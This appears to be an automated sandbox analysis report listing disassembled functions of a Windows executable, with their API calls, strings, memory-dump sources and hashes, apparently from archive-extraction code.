Instruction ID: 6a91d7ecb355f7b7fc33b1651af45e2f6c9c5ccb40a8090b233dd0c5d531abec
Opcode Fuzzy Hash: 1d98e65b5426c5585bbfeb509851c88ec7ffe5f103a9424c203f9c8a1daa0d93
Instruction Fuzzy Hash: 02B01292379001EC3188F2586D02D37014CD0C2F14330561FF801C0240EA504C049336

Function 00D8C726 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00D8C738

Part of subcall function 00D8CABC: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00D8CB39
Part of subcall function 00D8CABC: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00D8CB4A

Memory Dump Source

Source File: 00000000.00000002.1711643710.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1711612123.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711695017.0000000000DA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DAA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DBF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DC7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DCA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711982855.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: d03d36e0b9a8c1c7dc5ed11ad563e4b81776657c36f53a26fbd2b18caf833bcb
Instruction ID: 6f6cae154681a6d9befddd3cdd43022a56af76d597b360bbd9bebfd2c7c8c605
Opcode Fuzzy Hash: d03d36e0b9a8c1c7dc5ed11ad563e4b81776657c36f53a26fbd2b18caf833bcb
Instruction Fuzzy Hash: 8CB012A2279201FC3508B3942D42D37010CC0C2F20330561FF800D4140EA605C44D736

Function 00D8C782 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00D8C738

Part of subcall function 00D8CABC: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00D8CB39
Part of subcall function 00D8CABC: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00D8CB4A

Memory Dump Source

Source File: 00000000.00000002.1711643710.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1711612123.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711695017.0000000000DA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DAA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DBF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DC7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DCA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711982855.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: b4ea3682c61a9e2d1d3b23c5bfc5de40bddfaf38bd9ad756a79676ccc167ab81
Instruction ID: f0651cc80da7228c612517e568b97bc8cc1752129692e076a9af74a527ffb13a
Opcode Fuzzy Hash: b4ea3682c61a9e2d1d3b23c5bfc5de40bddfaf38bd9ad756a79676ccc167ab81
Instruction Fuzzy Hash: 98A011A22BA002FC3008B2A02C02C3B020CC0C2F20330A80EF80280080A8A008082230

Function 00D8C7B1 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00D8C799

Part of subcall function 00D8CABC: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00D8CB39
Part of subcall function 00D8CABC: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00D8CB4A

Memory Dump Source

Source File: 00000000.00000002.1711643710.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1711612123.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711695017.0000000000DA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DAA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DBF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DC7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DCA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711982855.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 2bee0bd5f08856cd7e44367e701105ed072cca16bf567114fa47ef14541a8c87
Instruction ID: cb8dff0c7e4114dac9aba1e5d7e314260cca9d4cdf12487c0d44e2abd69018d4
Opcode Fuzzy Hash: 2bee0bd5f08856cd7e44367e701105ed072cca16bf567114fa47ef14541a8c87
Instruction Fuzzy Hash: 1EA011A22BA002FC3008B200AC02C3B020CC0C2B20330A80EF88280280A8A00CA8A238

Function 00D8C7A7 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00D8C799

Part of subcall function 00D8CABC: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00D8CB39
Part of subcall function 00D8CABC: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00D8CB4A

Memory Dump Source

Source File: 00000000.00000002.1711643710.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1711612123.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711695017.0000000000DA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DAA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DBF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DC7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DCA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711982855.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: c434bf5f52eea27d1a36bf596577a52e6b122b1dc10d801802e0f7f840865fa8
Instruction ID: cb8dff0c7e4114dac9aba1e5d7e314260cca9d4cdf12487c0d44e2abd69018d4
Opcode Fuzzy Hash: c434bf5f52eea27d1a36bf596577a52e6b122b1dc10d801802e0f7f840865fa8
Instruction Fuzzy Hash: 1EA011A22BA002FC3008B200AC02C3B020CC0C2B20330A80EF88280280A8A00CA8A238

Function 00D8C75A Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00D8C738

Part of subcall function 00D8CABC: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00D8CB39
Part of subcall function 00D8CABC: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00D8CB4A

Memory Dump Source

Source File: 00000000.00000002.1711643710.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1711612123.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711695017.0000000000DA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DAA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DBF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DC7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DCA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711982855.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 67123bace5fb62bdc1fc7055d11ed760fa87543977a1db2d1b4d40ef362875a9
Instruction ID: f0651cc80da7228c612517e568b97bc8cc1752129692e076a9af74a527ffb13a
Opcode Fuzzy Hash: 67123bace5fb62bdc1fc7055d11ed760fa87543977a1db2d1b4d40ef362875a9
Instruction Fuzzy Hash: 98A011A22BA002FC3008B2A02C02C3B020CC0C2F20330A80EF80280080A8A008082230

Function 00D8C778 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00D8C738

Part of subcall function 00D8CABC: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00D8CB39
Part of subcall function 00D8CABC: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00D8CB4A

Memory Dump Source

Source File: 00000000.00000002.1711643710.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1711612123.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711695017.0000000000DA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DAA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DBF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DC7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DCA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711982855.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 37d0ad8a3a3dd37a3ea991e330c312dfc612f9ab2e454a90a12c4a71a0d070a5
Instruction ID: f0651cc80da7228c612517e568b97bc8cc1752129692e076a9af74a527ffb13a
Opcode Fuzzy Hash: 37d0ad8a3a3dd37a3ea991e330c312dfc612f9ab2e454a90a12c4a71a0d070a5
Instruction Fuzzy Hash: 98A011A22BA002FC3008B2A02C02C3B020CC0C2F20330A80EF80280080A8A008082230

Function 00D8C76E Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00D8C738

Part of subcall function 00D8CABC: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00D8CB39
Part of subcall function 00D8CABC: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00D8CB4A

Memory Dump Source

Source File: 00000000.00000002.1711643710.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1711612123.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711695017.0000000000DA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DAA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DBF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DC7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DCA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711982855.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: cc174323b791ae7ba6378cd5a8a4b469b9ba203adcc3a8e9258c783a86c0446b
Instruction ID: f0651cc80da7228c612517e568b97bc8cc1752129692e076a9af74a527ffb13a
Opcode Fuzzy Hash: cc174323b791ae7ba6378cd5a8a4b469b9ba203adcc3a8e9258c783a86c0446b
Instruction Fuzzy Hash: 98A011A22BA002FC3008B2A02C02C3B020CC0C2F20330A80EF80280080A8A008082230

Function 00D79B6A Relevance: 1.5, APIs: 1, Instructions: 7fileCOMMON

Download Yara Rule

APIs

SetEndOfFile.KERNELBASE(?,00D78EDB,?,?,-00001954), ref: 00D79B6D

Memory Dump Source

Source File: 00000000.00000002.1711643710.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1711612123.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711695017.0000000000DA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DAA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DBF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DC7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DCA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711982855.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.jbxd

Similarity

API ID: File
String ID:
API String ID: 749574446-0
Opcode ID: 236a118614337bcdec591850584676e7f1fce09846c74281231c272b54ea8df3
Instruction ID: 2fd489314ecdb8826496baba0ddc700a7c90f8e22a4ca2ba8d70c0564111145c
Opcode Fuzzy Hash: 236a118614337bcdec591850584676e7f1fce09846c74281231c272b54ea8df3
Instruction Fuzzy Hash: 8BB011300E000A8A8E002B30CC088203E20EA2230A30082A0A00AC82A0CB23C002AA28

Function 00D89023 Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

SetCurrentDirectoryW.KERNELBASE(?,00D8927A,00DB2120,00000000,00DB3122,00000006), ref: 00D89027

Memory Dump Source

Source File: 00000000.00000002.1711643710.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1711612123.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711695017.0000000000DA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DAA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DBF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DC7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DCA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711982855.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.jbxd

Similarity

API ID: CurrentDirectory
String ID:
API String ID: 1611563598-0
Opcode ID: 0766f61ee72784b7df97d0facb1b0c7bd6003476f9191f8fa29a0eac610767c4
Instruction ID: eb2851a3abfa5caed6cb80cf5953aac8c91ec32883366c1b017e4af9dccb17a9
Opcode Fuzzy Hash: 0766f61ee72784b7df97d0facb1b0c7bd6003476f9191f8fa29a0eac610767c4
Instruction Fuzzy Hash: 51A0123019430646CA400B30CC09C157A549761702F0086207002C00A0CB308810E511

Function 00D794A3 Relevance: 1.3, APIs: 1, Instructions: 30COMMON

Download Yara Rule

APIs

CloseHandle.KERNELBASE(000000FF,?,?,00D79473), ref: 00D794BE

Memory Dump Source

Source File: 00000000.00000002.1711643710.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1711612123.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711695017.0000000000DA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DAA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DBF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DC7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DCA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711982855.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: be366deac609a11814f1300415d6540fe0c53cccdf224cb52082b8d8eb696188
Instruction ID: 74b9232834c1550203e81b084f0dbf018248227b9cff28f1b7badb15620d5ae9
Opcode Fuzzy Hash: be366deac609a11814f1300415d6540fe0c53cccdf224cb52082b8d8eb696188
Instruction Fuzzy Hash: 1CF0E231192B144FDF308A24D518792F7E89B1273AF08CB1ED0EE439D0E371A84A8B35

Non-executed Functions

Function 00D8A537 Relevance: 49.3, APIs: 25, Strings: 3, Instructions: 289timewindowfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00D712E7: GetDlgItem.USER32(00000000,00003021), ref: 00D7132B
Part of subcall function 00D712E7: SetWindowTextW.USER32(00000000,00DA02E4), ref: 00D71341

SendDlgItemMessageW.USER32(?,00000066,00000171,00000000,00000000), ref: 00D8A5C8
EndDialog.USER32(?,00000006), ref: 00D8A5DB
GetDlgItem.USER32(?,0000006C), ref: 00D8A5F7
SetFocus.USER32(00000000), ref: 00D8A5FE
SetDlgItemTextW.USER32(?,00000065,?), ref: 00D8A63E
SendDlgItemMessageW.USER32(?,00000066,00000170,?,00000000), ref: 00D8A671
FindFirstFileW.KERNEL32(?,?), ref: 00D8A687
FileTimeToLocalFileTime.KERNEL32(?,?), ref: 00D8A6A5
FileTimeToSystemTime.KERNEL32(?,?), ref: 00D8A6B5
GetTimeFormatW.KERNEL32(00000400,00000002,?,00000000,?,00000032), ref: 00D8A6D2
GetDateFormatW.KERNEL32(00000400,00000000,?,00000000,?,00000032), ref: 00D8A6F0

Part of subcall function 00D7D142: LoadStringW.USER32(?,?,00000200,?), ref: 00D7D187
Part of subcall function 00D7D142: LoadStringW.USER32(?,?,00000200,?), ref: 00D7D19D

_swprintf.LIBCMT ref: 00D8A720

Part of subcall function 00D73F5B: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 00D73F6E

SetDlgItemTextW.USER32(?,0000006A,?), ref: 00D8A733
FindClose.KERNEL32(00000000), ref: 00D8A736
_swprintf.LIBCMT ref: 00D8A791
SetDlgItemTextW.USER32(?,00000068,?), ref: 00D8A7A4
SendDlgItemMessageW.USER32(?,00000067,00000170,?,00000000), ref: 00D8A7BA
FileTimeToLocalFileTime.KERNEL32(?,?,?), ref: 00D8A7DA
FileTimeToSystemTime.KERNEL32(?,?), ref: 00D8A7EA
GetTimeFormatW.KERNEL32(00000400,00000002,?,00000000,?,00000032), ref: 00D8A804
GetDateFormatW.KERNEL32(00000400,00000000,?,00000000,?,00000032), ref: 00D8A81C
_swprintf.LIBCMT ref: 00D8A84D
SetDlgItemTextW.USER32(?,0000006B,?), ref: 00D8A860
_swprintf.LIBCMT ref: 00D8A8B0
SetDlgItemTextW.USER32(?,00000069,?), ref: 00D8A8C3

Part of subcall function 00D8932F: GetLocaleInfoW.KERNEL32(00000400,0000000F,?,00000064), ref: 00D89355
Part of subcall function 00D8932F: GetNumberFormatW.KERNEL32(00000400,00000000,?,00DAA154,?,?), ref: 00D893A4

Strings

REPLACEFILEDLG, xrefs: 00D8A55E
%s %s, xrefs: 00D8A77F, 00D8A8A2
%s %s %s, xrefs: 00D8A70E, 00D8A83A

Memory Dump Source

Source File: 00000000.00000002.1711643710.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1711612123.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711695017.0000000000DA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DAA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DBF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DC7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DCA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711982855.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.jbxd

Similarity

API ID: ItemTime$File$Text$Format$_swprintf$MessageSend$DateFindLoadLocalStringSystem$CloseDialogFirstFocusInfoLocaleNumberWindow__vswprintf_c_l
String ID: %s %s$%s %s %s$REPLACEFILEDLG
API String ID: 3227067027-1840816070
Opcode ID: 1306b3ef0b92680953a0ee945a44700d0b467774553dbf58c8a6625a19834e8c
Instruction ID: f26d9ffa7e91f1b21c2b6e7bb74bff08fd5d4e8a07391ed07eea4eb9e062cf95
Opcode Fuzzy Hash: 1306b3ef0b92680953a0ee945a44700d0b467774553dbf58c8a6625a19834e8c
Instruction Fuzzy Hash: 98917672548349BFE621EBA4CC49FFB77ACEB4A700F04491AF649D6180E77196058773

Function 00D77070 Relevance: 24.8, APIs: 10, Strings: 4, Instructions: 299fileCOMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00D77075
CreateFileW.KERNEL32(?,40000000,00000000,00000000,00000001,00000080,00000000,?,00000001), ref: 00D771D5
CloseHandle.KERNEL32(00000000), ref: 00D771E5

Part of subcall function 00D77A9D: GetCurrentProcess.KERNEL32(00000020,?), ref: 00D77AAC
Part of subcall function 00D77A9D: GetLastError.KERNEL32 ref: 00D77AF2
Part of subcall function 00D77A9D: CloseHandle.KERNEL32(?), ref: 00D77B01

CreateDirectoryW.KERNEL32(?,00000000,?,00000001), ref: 00D771F0
CreateFileW.KERNEL32(?,C0000000,00000000,00000000,00000003,02200000,00000000), ref: 00D772FE
DeviceIoControl.KERNEL32(00000000,000900A4,?,-00000008,00000000,00000000,?,00000000), ref: 00D7732A
CloseHandle.KERNEL32(?), ref: 00D7733C
GetLastError.KERNEL32(00000015,00000000,?), ref: 00D7734C
RemoveDirectoryW.KERNEL32(?), ref: 00D77398
DeleteFileW.KERNEL32(?), ref: 00D773C0

Strings

SeRestorePrivilege, xrefs: 00D77096
UNC\, xrefs: 00D77120
\??\, xrefs: 00D770FB
SeCreateSymbolicLinkPrivilege, xrefs: 00D770A0

Memory Dump Source

Source File: 00000000.00000002.1711643710.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1711612123.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711695017.0000000000DA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DAA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DBF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DC7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DCA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711982855.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.jbxd

Similarity

API ID: CloseCreateFileHandle$DirectoryErrorLast$ControlCurrentDeleteDeviceH_prologProcessRemove
String ID: SeCreateSymbolicLinkPrivilege$SeRestorePrivilege$UNC\$\??\
API String ID: 3935142422-3508440684
Opcode ID: c58290825d41a2d12b32aab1bb83574f0df36c8b9a898fb740d0bb445d957a80
Instruction ID: a8293d46c46e29233e2c19879888f719d93b70e873c21d3bbdada707c2f85a15
Opcode Fuzzy Hash: c58290825d41a2d12b32aab1bb83574f0df36c8b9a898fb740d0bb445d957a80
Instruction Fuzzy Hash: 12B1AE71904218ABDF21DF64CC45BEE77B8EF09304F14896AF959E7282E730AA45CB71

Function 00D73203 Relevance: 12.9, APIs: 4, Strings: 3, Instructions: 604COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00D7320C
_memcmp.LIBVCRUNTIME ref: 00D732EF

Strings

hc%u, xrefs: 00D735EF
h%u, xrefs: 00D735A1
CMT, xrefs: 00D73904

Memory Dump Source

Source File: 00000000.00000002.1711643710.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1711612123.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711695017.0000000000DA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DAA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DBF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DC7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DCA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711982855.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.jbxd

Similarity

API ID: H_prolog_memcmp
String ID: CMT$h%u$hc%u
API String ID: 3004599000-3282847064
Opcode ID: f2ce574f67a567fd57cf4a943a4bbbf725d0a36bcc06801b2a460534dc10493f
Instruction ID: ea0657b9a9e77989c00005697d7df3458c56381b7b1aefd179601281ae5e2dc5
Opcode Fuzzy Hash: f2ce574f67a567fd57cf4a943a4bbbf725d0a36bcc06801b2a460534dc10493f
Instruction Fuzzy Hash: CC3290715142849FDF18DF64C896AEA37A5EF15300F48857DFD8E8B282EB709A48CB70

Function 00D9A35E Relevance: 11.9, APIs: 1, Strings: 5, Instructions: 1381COMMONLIBRARYCODE

Download Yara Rule

APIs

__floor_pentium4.LIBCMT ref: 00D9A4A4

Strings

d0F, xrefs: 00D9A369
1#INF, xrefs: 00D9B6B1
1#QNAN, xrefs: 00D9B6AA
1#IND, xrefs: 00D9B69C
1#SNAN, xrefs: 00D9B6A3

Memory Dump Source

Source File: 00000000.00000002.1711643710.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1711612123.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711695017.0000000000DA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DAA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DBF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DC7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DCA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711982855.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.jbxd

